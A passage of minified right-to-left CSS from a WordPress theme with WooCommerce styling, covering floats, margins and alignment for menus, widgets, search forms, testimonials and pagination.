#d3ced2;border-right:none;padding-right:0;padding-left:2em}.woocommerce table.my_account_orders .order-actions{text-align:left}.woocommerce table.my_account_orders .order-actions .button{margin:0.125em 0.25em 0.125em 0}.penci-recipe-heading a.penci-recipe-print,.widget.widget_categories ul li span.category-item-count,.woocommerce-account .addresses .title .edit,.woocommerce-account ul.digital-downloads li .count{float:left}.woocommerce div.product form.cart .variations select{margin-left:1em;margin-right:0}.woocommerce div.product form.cart .variations td.label{padding-left:1em;padding-right:0}#navigation.header-6 #logo,.widget-social.show-text a{float:right;text-align:right}#navigation.header-6 .menu{float:none}#navigation.header-6 .pcheader-icon.shoping-cart-icon{margin-right:40px;margin-left:0}#navigation.header-4 .pcheader-icon,#navigation.header-4 .penci-menuhbg-toggle,#navigation.header-5 .pcheader-icon,#navigation.header-5 .penci-menuhbg-toggle,#navigation.header-6 .pcheader-icon,#navigation.header-6 .penci-menuhbg-toggle{margin-right:15px;margin-left:0}#navigation.header-6 .container,.woocommerce .widget_price_filter .price_slider_amount{text-align:left}#navigation .menu > li:last-child,#navigation .menu > ul > li:last-child,div.penci-topbar-menu > ul > li:last-child,ul.penci-topbar-menu > li:last-child{margin-left:0}.slick-slider{direction:ltr}body.rtl .slick-slider .slick-slide{direction:rtl}.penci-recipe-heading .penci-recipe-meta span,.penci-review-metas .penci-review-meta{margin-left:15px;margin-right:0;display:inline-block}.penci-recipe-heading .penci-recipe-meta span i,.penci-review-metas .penci-review-meta i{margin-left:4px;margin-right:0}.penci-review-thumb{float:right;margin-right:0;margin-left:20px}.penci-review-btnbuyw{float:right}.penci-recipe-ingredients ul li:before{right:-18px;left:auto}.penci-recipe-ingredients ul{margin:0}.wrapper-penci-recipe .penci-recipe-method ol,.wrapper-penci-recipe .penci-recipe-method ul{padding-right:15px;padding-left:0}div.penci-topbar-menu > ul > li,ul.penci-topbar-menu > li{float:right;margin-left:25px;margin-right:0}.penci-pagination ul.page-numbers li a i{margin-right:2px;margin-left:0}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,.penci-review-average,.penci-review-stuff,.penci-review-stuff .penci-review-good,.woocommerce .widget_price_filter .price_slider_amount .button{float:right}.penci-recipe-ingredients ul,.penci-review .penci-review-good ul li{padding-right:18px;padding-left:0}#navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name,.navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name,.penci-review .penci-review-good ul li:before,.quote-widget > i.fa,.woocommerce .widget_shopping_cart .cart_list li a.remove,.woocommerce.widget_shopping_cart .cart_list li a.remove{right:0;left:auto!important}.featured-carousel .carousel-meta span,.woocommerce .widget_layered_nav ul li span{display:inline-block}.featured-carousel .carousel-meta > span:after{margin:0 15px 0 11px;border-right:1px solid #888;border-left:none}.quote-widget > p,.widget ol ol,.widget ul ul{padding-right:20px;padding-left:0}.widget ul ul{padding-right:20px}.widget-social.show-text a span{margin-right:10px;margin-left:0}.woocommerce ul.cart_list li img,.woocommerce ul.product_list_widget li img{margin:0 0 0 20px;float:right}.woocommerce .woocommerce-product-search input[type="search"]{background-position:6% 15px;padding:14px 20px 14px 43px}.woocommerce .widget_shopping_cart .cart_list li,.woocommerce.widget_shopping_cart .cart_list li{padding-left:40px;padding-right:0}.woocommerce .widget_shopping_cart p.buttons a.checkout,.woocommerce.widget_shopping_cart p.buttons a.checkout{margin-right:16px;margin-left:0}.footer-widget-wrapper .widget .widget-title,.penci-mag2-carousel .mag2-item .mag2-item .mag2-header{text-align:right}.footer-widget-wrapper{margin-left:3.5%;margin-right:0;float:right}.footer-widget-wrapper.footer-widget-style-4{margin-right:0;width:22.75%;margin-left:3%}.footer-widget-wrapper.footer-widget-style-10{margin-right:0}.footer-widget-wrapper.footer-widget-style-4.last,.footer-widget-wrapper.last{margin-left:0}.penci-btn-readmore .fa-angle-double-right:before,.penci-featured-cat-seemore i.fa-angle-double-right:before{content:""}.footer-instagram h4.footer-instagram-title > span:before{margin-right:0;margin-left:8px}#navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,#navigation .penci-megamenu .penci-mega-child-categories:after,.navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,.navigation .penci-megamenu .penci-mega-child-categories:after{left:0;right:auto}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active:before,.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active:before{box-shadow:none;-webkit-box-shadow:none}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after,.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after{right:20px;left:auto}#navigation .menu li a i,.navigation .menu li a i{margin-right:0;margin-left:5px}#navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a,.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a{padding:6px 20px 6px 0;text-align:right}#navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a,.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a{text-align:left}#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span,.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span{padding-left:20px;padding-right:0}body.rtl .cat > a.penci-cat-name{margin:0 0 0 15px;padding-left:10px;padding-right:0}body.rtl .cat > a.penci-cat-name:first-child{margin-right:0;margin-left:18px}body.rtl .cat > a.penci-cat-name:last-child{margin-left:0;padding-left:0}body.rtl .cat > a.penci-cat-name:after{margin-left:0;margin-right:11px}body.rtl .penci-single-style-10 .header-standard,body.rtl .penci-single-style-10 .post-box-meta-single{text-align:right}body.rtl .penci-bgrid-based-post.pcbg-mask-subtitle .cat > a.penci-cat-name{margin-left:5px;margin-right:0}body.rtl .penci-bgrid-based-post.pcbg-mask-subtitle .cat > a.penci-cat-name:last-child{margin-left:0}.penci_is_nosidebar .alignfull,.penci_is_nosidebar .wp-block-cover-image.alignfull,.penci_is_nosidebar .wp-block-cover.alignfull,.penci_is_nosidebar .wp-block-gallery.alignfull,.penci_is_nosidebar .wp-block-image.alignfull{margin-right:calc(50% - 50vw);margin-left:0}.penci_is_nosidebar .alignwide,.penci_is_nosidebar .wp-block-cover-image.alignwide,.penci_is_nosidebar .wp-block-cover.alignwide,.penci_is_nosidebar .wp-block-gallery.alignwide,.penci_is_nosidebar .wp-block-image.alignwide{margin-right:calc(25% - 25vw);margin-left:0}.penci-menu-hbg-inner .header-social.sidebar-nav-social,.penci_menu_hbg_ftext{text-align:right}@media only screen and (max-width:767px){.penci_is_nosidebar .alignwide,.penci_is_nosidebar .wp-block-cover-image.alignwide,.penci_is_nosidebar .wp-block-cover.alignwide,.penci_is_nosidebar .wp-block-gallery.alignwide,.penci_is_nosidebar .wp-block-image.alignwide{margin-right:calc(50% - 50vw);margin-left:0}}.wp-block-latest-posts{padding:16px 36px 16px 20px!important}.wp-block-separator.is-style-dots:before{padding-right:0;padding-left:2em}@media (min-width:600px){.wp-block-columns .wp-block-column:last-child{margin-right:32px;margin-left:0}}.penci-slider_btnwrap .pencislider-btn:not(:last-child){margin-right:0;margin-left:15px}.penci-countdown-section{float:right}.penci-working-hours .penci-workingh-lists .penci-listitem-icon{padding-right:1px;padding-left:10px}.penci-working-hours .penci-workingh-lists .penci-listitem-hours{padding-left:0;padding-right:10px}.penci-working-hours .penci-workingh-lists .penci-listitem-title:before{right:100%;margin-left:0;margin-right:10px}.penci-progress-bar .penci-probar-items .penci-probar-score{float:left;text-align:left}.penci-socialCT-s1 .penci-social-button,.penci-socialCT-s2 .penci-social-button{float:left}.penci-socialCT-s2 .penci-socialCT-item,.penci-socialCT-s3 .penci-socialCT-item,.penci-socialCT-s4 .penci-socialCT-item,.penci-socialCT-s5 .penci-socialCT-item,.penci-weather-now,.penci-weather-section{float:right}.penci-socialCT-s1 .penci-social-name{margin-right:0;margin-left:15px}.penci-socialCT-wrap i{margin-right:0;margin-left:10px}.penci-socialCT-wrap .penci-social-button span{margin-right:5px;float:left}.penci_clouds{text-align:right;padding-left:0;padding-right:10px}.penci_humidty{text-align:left;padding-right:0;padding-left:10px}.penci-weather-information i{margin-left:5px;margin-right:0}.penci-weather-lo-hi__content .penci-circle{padding-left:3px;padding-right:3px}.penci-weather-days{float:right}.penci-testi-s2 .penci-testimonail{text-align:right}.penci-testi-s2 .penci-testi-avatar{margin-left:0;margin-right:30px}.penci-post-box-meta .penci-box-meta a,.penci-post-box-meta .penci-box-meta span{display:inline-block}.penci-ibox-float-left .penci-ibox-inner{text-align:right}.penci-ibox-float-left .penci-ibox-icon,.penci-video_playlist .penci-media-obj .penci-mobj-img{margin-right:0;margin-left:20px}.penci-ibox-float-right .penci-ibox-icon{margin-left:0;margin-right:20px}.penci-ibox-float-right .penci-ibox-inner{text-align:left}.penci-ibox-top-right .penci-ibox-inner{text-align:left;float:left}.penci-ibox-top-left .penci-ibox-inner{text-align:right;float:right}.penci-video_playlist .penci-video-nav{float:left;right:auto;left:0}.penci-video_playlist .penci-video-nav .playlist-panel-item{float:right;text-align:right}.penci-video_playlist .penci-video-playlist-item .penci-video-duration{float:right}.pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,.pencisc-column-2.penci-video_playlist .penci-video-nav .playlist-panel-item{left:auto;right:0}.pcilrp-flex .pcilrp-thumb{margin:0 0 0 20px}.pcilrt-thumbright .pcilrp-flex .pcilrp-thumb{margin:0 20px 0 0}.pcilrp-meta span{margin:0 0 0 10px}.pcilrp-meta span:last-child{margin-left:0}.pcilrp-meta i{margin:0 0 0 5px}.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content{padding-left:0;padding-right:18px}@media only screen and (max-width:1169px){.penci-headline .pctopbar-item{float:none;margin-left:0!important;margin-right:0!important}.penci-headline .pctopbar-item.penci-topbar-trending{margin-left:auto!important;margin-right:auto!important}}@media only screen and (min-width:768px){.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail{width:53.75%;padding-left:0;padding-right:30px;float:left}.penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail{padding-left:0;padding-right:30px;float:left}.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb,.penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb{float:right}.penci-grid li.list-post .item .content-list-right{padding-right:30px;padding-left:0;width:53.75%;float:left}}@media only screen and (max-width:1169px) and (min-width:961px){#navigation.header-4 .pcheader-icon,#navigation.header-5 .pcheader-icon,#navigation.header-6 .pcheader-icon,#navigation.header-6 .pcheader-icon.shoping-cart-icon{margin-right:26px;margin-left:0}#navigation .menu > ul > li,#navigation ul.menu > li,.navigation .menu > ul > li,.navigation ul.menu > li{margin-left:26px;margin-right:0}.container.has-banner #logo{padding-left:30px;padding-right:0}}@media only screen and (max-width:960px){#navigation.header-4 .container .pcheader-icon,#navigation.header-5 .container .pcheader-icon,#navigation.header-6 .container .pcheader-icon{margin-right:15px;margin-left:0}#navigation.header-6 #logo{float:none}#navigation.header-6 .container{text-align:center}.footer-widget-wrapper{margin:0 0 30px;float:none}}@media only screen and (max-width:960px) and (min-width:768px){.woocommerce ul.products li.product,.woocommerce-page ul.products li.product{margin-right:0;margin-left:3.8465%}.woocommerce ul.products > li.product:nth-child(4n + 4),.woocommerce-page ul.products > li.product:nth-child(4n + 4){margin-left:3.8465%;margin-right:0}.woocommerce ul.products > li.product:nth-child(3n + 3),.woocommerce-page ul.products > li.product:nth-child(3n + 3){margin-left:0}.penci-grid > li:nth-of-type(3n + 3){margin-left:3.9%;margin-right:0}.penci-grid > li{width:48.05%;margin-left:3.9%;margin-right:0}.penci-grid li:nth-of-type(2n + 2){margin-left:0}}@media only screen and (max-width:768px){.woocommerce table.shop_table_responsive tr td,.woocommerce-page table.shop_table_responsive tr td{text-align:left!important}.woocommerce table.shop_table_responsive tr td:before,.woocommerce-page table.shop_table_responsive tr td:before{float:right}.woocommerce #content table.cart td.actions .coupon .button.alt,.woocommerce #content table.cart td.actions .coupon .input-text + .button,.woocommerce table.cart td.actions .coupon .button.alt,.woocommerce table.cart td.actions .coupon .input-text + .button,.woocommerce-page #content table.cart td.actions .coupon .button.alt,.woocommerce-page #content table.cart td.actions .coupon .input-text + .button,.woocommerce-page table.cart td.actions .coupon .button.alt,.woocommerce-page table.cart td.actions .coupon .input-text + .button{float:left}.woocommerce #content table.cart td.actions .coupon,.woocommerce table.cart td.actions .coupon,.woocommerce-page #content table.cart td.actions .coupon,.woocommerce-page table.cart td.actions .coupon{float:none}.woocommerce .cart-collaterals .cart_totals,.woocommerce .cart-collaterals .cross-sells,.woocommerce .cart-collaterals .shipping_calculator,.woocommerce-page .cart-collaterals .cart_totals,.woocommerce-page .cart-collaterals .cross-sells,.woocommerce-page .cart-collaterals .shipping_calculator{float:none;text-align:right}}@media only screen and (max-width:767px){.woocommerce .penci_sidebar ul.products li.product,.woocommerce ul.products li.product,.woocommerce-page .penci_sidebar ul.products li.product,.woocommerce-page ul.products li.product{margin-left:4%;margin-right:0}.woocommerce .penci_sidebar ul.products > li.product:nth-child(3n + 3),.woocommerce-page .penci_sidebar ul.products > li.product:nth-child(3n + 3){margin-left:4%;margin-right:0}.woocommerce .penci_sidebar ul.products > li.product:nth-child(2n + 2),.woocommerce ul.products li.product:nth-child(2n + 2),.woocommerce-page .penci_sidebar ul.products > li.product:nth-child(2n + 2),.woocommerce-page ul.products li.product:nth-child(2n + 2){margin-left:0}.woocommerce-account .woocommerce-MyAccount-content,.woocommerce-account .woocommerce-MyAccount-navigation{float:none}.thecomment .comment-text,.woocommerce #reviews #comments ol.commentlist li .comment-text{margin-right:0}.penci-grid li{margin-left:0!important}.footer-subscribe .mc4wp-form .mdes{width:100%;margin-left:0;margin-right:0}.penci-grid li.list-post .item .content-list-right{clear:both}}@media only screen and (max-width:960px){.column-1-2,.column-1-3,.column-1-4,.column-2-3,.column-3-4{margin:0 0 30px}.container.has-banner #logo{text-align:center}.penci-topbar-social{float:none}div.penci-topbar-menu > ul > li,ul.penci-topbar-menu > li{float:none;margin-left:10px;margin-right:0}}@media only screen and (max-width:479px){.penci-post-box-meta .penci-post-share-box{float:none}.woocommerce-cart table.cart td.actions .coupon .input-text{margin-left:0}.comments .children,.comments > .comment > .comment,.comments > .comment > .comment > .comment,.comments > .comment > .comment > .comment > .comment,.comments > .comment > .comment > .comment > .comment > .comment{margin:0 30px 0 0}.footer-subscribe .mc4wp-form .msubmit{margin-right:0}.penci-rlt-popup .rtlpopup-heading{padding-right:12px}}.penci-bgstyle-2 .item-masonry,.penci-fixh .penci-bgitem{float:right}.penci-bgstyle-3 .penci-fixh .penci-bgitem{margin-left:0}.penci-bgstyle-3 .penci-fixh .bgitem-1,.penci-fixh .penci-bgitem{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-4 .penci-fixh .bgitem-0,.penci-bgstyle-4 .penci-fixh .bgitem-3,.penci-bgstyle-5 .penci-fixh .bgitem-0,.penci-bgstyle-6 .penci-fixh .bgitem-0,.penci-bgstyle-6 .penci-fixh .bgitem-4,.penci-bgstyle-7 .penci-fixh .bgitem-0,.penci-bgstyle-7 .penci-fixh .bgitem-2,.penci-bgstyle-8 .penci-fixh .penci-bgitem{margin-left:0}.penci-bgstyle-8 .penci-fixh .bgitem-1{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-10 .penci-fixh .bgitem-0,.penci-bgstyle-10 .penci-fixh .bgitem-3,.penci-bgstyle-11 .penci-fixh .bgitem-0,.penci-bgstyle-11 .penci-fixh .bgitem-3,.penci-bgstyle-12 .penci-fixh .bgitem-0,.penci-bgstyle-12 .penci-fixh .bgitem-3,.penci-bgstyle-13 .penci-fixh .penci-bgitem,.penci-bgstyle-9 .penci-fixh .bgitem-0,.penci-bgstyle-9 .penci-fixh .bgitem-2{margin-left:0}.penci-bgstyle-13 .penci-fixh .bgitem-2{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-14 .penci-fixh .bgitem-0,.penci-bgstyle-14 .penci-fixh .bgitem-1,.penci-bgstyle-15 .penci-fixh .bgitem-0,.penci-bgstyle-15 .penci-fixh .bgitem-2,.penci-bgstyle-15 .penci-fixh .bgitem-3,.penci-bgstyle-16 .penci-fixh .bgitem-0,.penci-bgstyle-16 .penci-fixh .bgitem-2,.penci-bgstyle-17 .penci-fixh .bgitem-0,.penci-bgstyle-18 .penci-fixh .bgitem-0,.penci-bgstyle-18 .penci-fixh .bgitem-2{margin-left:0}.penci-bgstyle-19 .penci-fixh .bgitem-3,.project-pagination .prev-post a:before{float:left}.penci-bgstyle-20 .penci-fixh .bgitem-1{float:right}.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .portfolio-page-content{padding-left:0;padding-right:60px}ul.portfolio-meta-lists span.title{padding-right:0;padding-left:10px}.penci-tweets-lists .tweet-intents-inner > span:not(:last-child),.portfolio-share-box .list-posts-share a:not(:last-child){margin-right:0;margin-left:10px}.penci-portfolio-meta-wrapper .penci-page-header,.post-entry blockquote,.post-entry blockquote .author,.post-entry blockquote cite,.post-entry blockquote p,.woocommerce .page-description blockquote,.woocommerce .page-description blockquote .author,.woocommerce .page-description blockquote cite,.woocommerce .page-description blockquote p,.wpb_text_column blockquote,.wpb_text_column blockquote .author,.wpb_text_column blockquote cite,.wpb_text_column blockquote p{text-align:right}.project-pagination .next-post a:after{float:right}.post-entry blockquote,.woocommerce .page-description blockquote,.wpb_text_column blockquote{padding:0 46px 0 0}.post-entry blockquote::before,.woocommerce .page-description blockquote::before,.wpb_text_column blockquote::before{transform:scaleX(-1);left:auto;right:0}@media screen and (max-width:960px){.penci-bgstyle-3 .penci-fixh .penci-bgitem{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-3 .penci-fixh .bgitem-0,.penci-bgstyle-3 .penci-fixh .bgitem-1,.penci-bgstyle-6 .penci-fixh .bgitem-1{margin-left:0}.penci-bgstyle-6 .penci-fixh .bgitem-4{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-6 .penci-fixh .bgitem-0,.penci-bgstyle-6 .penci-fixh .bgitem-3,.penci-bgstyle-7 .penci-fixh .penci-bgitem{margin-left:0}.penci-bgstyle-7 .penci-fixh .bgitem-3{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-10 .penci-fixh .penci-bgitem,.penci-bgstyle-8 .penci-fixh .bgitem-1,.penci-bgstyle-9 .penci-fixh .penci-bgitem{margin-left:0}.penci-bgstyle-10 .penci-fixh .bgitem-4,.penci-bgstyle-11 .penci-fixh .penci-bgitem,.penci-bgstyle-14 .penci-fixh .penci-bgitem,.penci-bgstyle-15 .penci-fixh .penci-bgitem,.penci-bgstyle-9 .penci-fixh .bgitem-1{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-11 .penci-fixh .bgitem-0,.penci-bgstyle-11 .penci-fixh .bgitem-2,.penci-bgstyle-12 .penci-fixh .penci-bgitem,.penci-bgstyle-14 .penci-fixh .bgitem-0,.penci-bgstyle-14 .penci-fixh .bgitem-2,.penci-bgstyle-15 .penci-fixh .bgitem-0,.penci-bgstyle-15 .penci-fixh .bgitem-2,.penci-bgstyle-15 .penci-fixh .bgitem-4{margin-left:0}.penci-bgstyle-12 .penci-fixh .bgitem-2{margin-left:var(--pcgap);margin-right:0}.penci-bgstyle-12 .penci-fixh .bgitem-0,.penci-bgstyle-12 .penci-fixh .bgitem-3,.penci-bgstyle-17 .penci-fixh,.penci-bgstyle-17 .penci-fixh .bgitem-0,.penci-bgstyle-17 .penci-fixh .bgitem-1{margin-left:0}}@media screen and (max-width:767px){.penci-bgstyle-10 .penci-fixh .bgitem-0,.penci-bgstyle-10 .penci-fixh .bgitem-4,.penci-bgstyle-9 .penci-fixh .bgitem-1,.penci-bgstyle-9 .penci-fixh .bgitem-2{margin-left:0}}.header-search-style-showup .show-search{left:0;right:auto}.header-search-style-showup .show-search form.pc-searchform input.search-input{border-left:0;border-right:1px solid var(--pcborder-cl)}.header-search-style-showup .show-search:before{right:auto;left:5px}.pcnav-lgroup ul li.pcaj-next,.pcsoc-wrapper.pcsocs-s1 .pcsoc-icon,.pcsoc-wrapper.pcsocs-s2 .pcsoc-icon{float:right}.pcsoc-wrapper.pcsocs-s1 .pcsoc-like,.pcsoc-wrapper.pcsocs-s2 .pcsoc-like{float:left}.pcsocs-s2 .pcsoc-icon{margin-left:15px;margin-right:0}.pcsocs-s1 .pcsoc-counter,.pcsocs-s2 .pcsoc-counter{float:right;margin-left:5px;margin-right:0}.mega-menu-list .menu-label.label-style-2:before,.mega-menu-list > li.heading-style-style-2 > a:after,.penci-dropdown-menu.penci-mega-full-width{left:auto;right:0}.penci-builder-element.header-social a{margin-right:0;margin-left:10px}.penci-builder-element.header-social a:last-child{margin-left:0!important}.mega-menu-list .menu-label{right:100%;left:auto;margin-left:0;margin-right:-20px}.mega-menu-list .menu-label.label-style-3{left:auto;right:100%;margin-left:0;margin-right:10px}body.rtl .mega-menu-list .menu-label.label-style-1:before,body.rtl .mega-menu-list .menu-label.label-style-2:before{border-right-width:0;border-left-width:5px;border-right-color:inherit!important;border-left-color:transparent!important}.mega-menu-list .menu-label.label-style-3:before{left:auto;right:-4px;border-width:4px 0 4px 4px;border-right-color:transparent!important;border-left-color:inherit!important}.mega-menu-list .menu-label.label-style-4:before{right:auto;left:50%}.mega-menu-list > li.heading-style-style-3 > a{padding-left:12px;padding-right:0}.mega-menu-list > li.heading-style-style-3 > a:after,.pcnew-share .penci-social-share-text:after,.pcnew-share .penci-social-share-text:before{left:auto;right:100%}.side-newsfeed.pctlst{padding-left:0!important;padding-right:20px!important;margin-left:0!important;margin-right:5px!important;border-left:none;border-right:1px solid}.side-newsfeed.pctlst .penci-feed:after,.side-newsfeed.pctlst .penci-feed:before{left:auto;right:-25px}@media only screen and (min-width:961px){.header-search-style-default #navigation.header-11 .show-search a.close-search{right:auto;left:10px}.header-search-style-default #navigation.header-6 .show-search form.pc-searchform input.search-input{height:80px;padding:26px 0 26px 35px}.header-search-style-default #navigation.header-11 .show-search form.pc-searchform input.search-input{height:80px;padding:26px 20px 26px 35px}.header-search-style-default #navigation.header-10 .show-search form.pc-searchform input.search-input{padding:26px 0 26px 35px}}.penci-toc-wrapper .penci-toc-title-toggle{right:auto;left:0}.penci-toc-wrapper .penci-toc-title{padding-right:0;padding-left:30px}.pcnew-share .penci-social-share-text{margin-right:0;margin-left:12px}.tags-share-box.tags-share-box-2_3 .penci-social-share-text{margin:0 0 0 15px}.penci-social-share-text i{margin-right:0;margin-left:8px}.pcnew-share .penci-social-share-text:before{border-width:8px 8px 8px 0;border-color:transparent var(--pcborder-cl) transparent transparent}.pcnew-share .penci-social-share-text:after{border-width:6px 6px 6px 0;border-color:transparent var(--pcbg-cl) transparent transparent}.header-search-style-overlay .show-search a.close-search{right:auto;left:30px}@media only screen and (max-width:767px){.header-search-style-overlay .show-search a.close-search{left:15px;right:auto}.hide-table.sticky-left .penci-toc-wrapper{position:absolute;left:0}.hide-table.sticky-right .penci-toc-wrapper{transform:translateY(calc(100vh / 2 - 25px)) translateX(-10px)}}.show-txt.post-share a .dt-share{margin:0 8px 0 0}.show-txt.focus-icon a{padding-right:0;padding-left:0}.show-txt a:not(.single-like-button){padding-left:12px}.pcalign-right .pcnav-lgroup{left:0;right:auto;justify-content:end}.pcalign-center .pcnav-lgroup ul.pcflx-nav,.pcalign-right .pcnav-lgroup ul.pcflx-nav,.penci_comments_widget ul li .comment-body{padding-left:0;padding-right:15px}.pcalign-center .pcnav-lgroup,.pcalign-left .pcnav-lgroup{justify-content:start}.pcalign-right .pcnav-lgroup ul ul{left:0;right:auto;text-align:left}.pcalign-center .pcnav-lgroup ul.pcflx > li:last-child > a,.pcalign-right .pcnav-lgroup ul.pcflx > li:last-child > a{padding-right:10px!important;padding-left:0!important}.pcalign-center .pcnav-lgroup ul.pcflx > li:first-child > a,.pcalign-right .pcnav-lgroup ul.pcflx > li:first-child > a{padding-left:0!important}.penci_snapchat_widget .pc-snapchat-avatar{transform:translateX(50%) translateY(-50%)}.pc-widget-advanced-tax.tax-style-1 ul li,.widget.widget_categories ul li{text-align:right}.penci-tweets-lists .penci-tweet:before{right:auto;left:0}.penci_posts_tabs_widget .box-tabs .tabs ul > li a{border-right-width:1px;border-left-width:0}.penci_posts_tabs_widget .recent-comments .avatar{margin-right:0;margin-left:15px}.penci_posts_tabs_widget .box-tabs .tabs ul > li:last-child a{border-left-width:1px}.pc-widget-user-lists .pc-uw-ava{padding-right:0;padding-left:15px}.pc-tiktok-feed .tiktok-feed-item .tiktok-feed-info span i,.pc-tiktok-feed .tiktok-feed-meta.compact i{margin-right:0;margin-left:4px}.pc-uprofile .pc-tiktok-profile-info{padding-left:0;padding-right:15px;text-align:right}.penci-testi-s2 .penci-testi-company,.penci-testi-s2 .penci-testi-name{margin-left:0;margin-right:30px}.penci-testi-s2 .penci-testimonail .penci-testi-bq-icon:before,.penci-testi-s5 .penci-testimonail{text-align:right}.penci-testi-company span:last-child{margin-left:0;margin-right:5px}.penci-testi-s4 .penci-testi-bq-icon:before,.penci-testi-s5 .penci-testi-bq-icon:before{left:0;right:auto;transform:none}.penci-testi-s4.pcimgpos-right .penci-testi-bq-icon:before{right:0;left:auto;transform:rotate(180deg)}.penci-testi-s5 .penci-testi-blockquote:after{left:auto;right:15px}.pctesti-head .pc-testiava,.penci-testi-s4.pcimgpos-left .pc-testiava{margin-right:0;margin-left:20px}.penci-testi-s4.pcimgpos-right .pc-testiava{margin-right:20px;margin-left:0}.penci-testi-s4.pcimgpos-left .pctesticont{text-align:right}.penci-testi-s4.pcimgpos-right .pctesticont{text-align:left}.penci-header-trans .show-search a.close-search{right:auto;left:15px}.penci-search-results .autocomplete-suggestion .suggestion-thumb{margin:0 0 0 15px}.header-search-style-default .search-results-wrapper .no-found-msg,.penci-search-results .autocomplete-suggestion .suggestion-content{text-align:right}.penci-search-form form{padding:0 20px 0 0}.header-search-style-showup .search-results-wrapper .penci-dropdown-results{left:auto;right:-20px}.pcsml_style_1 .pcsml-item-title,.pcsml_style_2 .pcsml-item-title,.pcsml_style_4 .pcsml-item-title{padding-left:0;padding-right:15px}@media only screen and (min-width:768px){.pcsml_style_2 .pcsml-figure{padding-right:20px;padding-left:0}}.pcsml_style_3 .pcsml-item-number{left:auto;right:0}.pcsml-button.pcsm-back i{padding-left:10px;padding-right:0}.pcsml-button.pcsm-back i:before{content:""}.pcsml-button.pcsm-next i:before{content:""}.pcsml-button.pcsm-next i{padding-left:0;padding-right:10px}.pcsml-dropdown-wrap .pcsm-back{text-align:right}.pcsml-dropdown-wrap .pcsm-next{text-align:left}.pcsml-dropdown-wrap .pcsml-container::before{right:auto;left:16px}.widget .penci-pagination.penci-ajax-nav{flex-direction:row-reverse}.penci-pagination.penci-ajax-nav .pcajx-btn i{order:1}.penci-pagination.penci-ajax-nav .next .pcnav-title{order:5}.pctopbar-login-btn li.pclogin-item img{margin-right:0;margin-left:5px}.penci-review-summary .review_rated{margin:0 0 0 5px}.post-box-meta-single span time{display:inline-block}.navigation .menu .children,.navigation .menu .sub-menu,.penci-dropdown-menu.penci-mega-full-width{left:auto}.penci-go-to-top-floating{right:auto;left:20px}.pc-search-form.search-style-icon-button .search-input{padding-right:20px;padding-left:66px;border-right:1px solid #e9e9e9}.block-title-icon-left .inner-arrow i{margin-right:0;margin-left:8px}.block-title-icon-right .inner-arrow i{margin-left:0;margin-right:8px}.penci-rlt-popup .rltpopup-thumbnail{float:right;margin:0 0 0 20px}.post-pagination .prev-post{float:right;text-align:right}.post-pagination .next-post{float:left;text-align:left}.penci-post-nav-thumb{float:right;margin:0 0 0 15px}.penci-post-nav-thumb.nav-thumb-next{float:left;margin:0 15px 0 0}@media only screen and (max-width:479px){.post-pagination .next-post,.post-pagination .prev-post{text-align:center}}@media only screen and (min-width:1170px){.penci-headline .pctopbar-item:last-child:not(:first-child){float:left}}.menu-item-has-label .menu-label{left:auto;right:100%;margin-left:0;margin-right:-20px}.menu-item-has-label .menu-label.label-style-1:before{left:auto;right:10px;border-left-width:7px;border-left-color:transparent!important;border-right-width:0!important}.menu-item-has-label .menu-label.label-style-2:before{right:0;left:auto;border-left-width:7px;border-left-color:transparent!important;border-right-width:0!important}.menu-item-has-label .menu-label.label-style-4:before{margin-left:0;margin-right:-4px}.penci-dropcap-bold,.penci-dropcap-box,.penci-dropcap-box-outline,.penci-dropcap-circle,.penci-dropcap-circle-outline,.penci-dropcap-regular{float:right;margin-right:0;margin-left:13px}.pcnav-lgroup ul.pcflx > li:first-child > a{padding-right:0!important;padding-left:10px!important}.pcnav-lgroup ul.pcflx > li:last-child:not(:first-child) > a{padding-left:0!important;padding-right:10px!important}.pcalign-center .pcnav-lgroup ul.pcflx > li:first-child > a,.pcalign-right .pcnav-lgroup ul.pcflx > li:first-child > a{padding-left:10px!important}.pcsl-imgpos-left .pcsl-content{padding-right:var(--pcsl-between);padding-left:0}.pcsl-imgpos-right .pcsl-content{padding-left:var(--pcsl-between);padding-right:0}.post-pagination h5{padding:0 0 0 25px}.post-pagination h5.next-title{padding:0 25px 0 0}.pcfooter-navmenu .pcfoot-navmenu > li{margin-right:0;margin-left:var(--pcfnmn-space)}.pcfooter-navmenu .pcfoot-navmenu > li:last-child{margin-left:0}ul.pcmg-subcol-2 > li,ul.pcmg-subcol-3 > li{float:right;margin-left:var(--pcmega-colspace);margin-right:0}ul.pcmg-subcol-2 > li:nth-child(2n + 2),ul.pcmg-subcol-3 > li:nth-child(3n + 3){margin-left:0}.post-box-meta-single span{display:inline-block}.penci_recent-posts-sc ul.penci-feed-2columns li,.widget ul.penci-feed-2columns 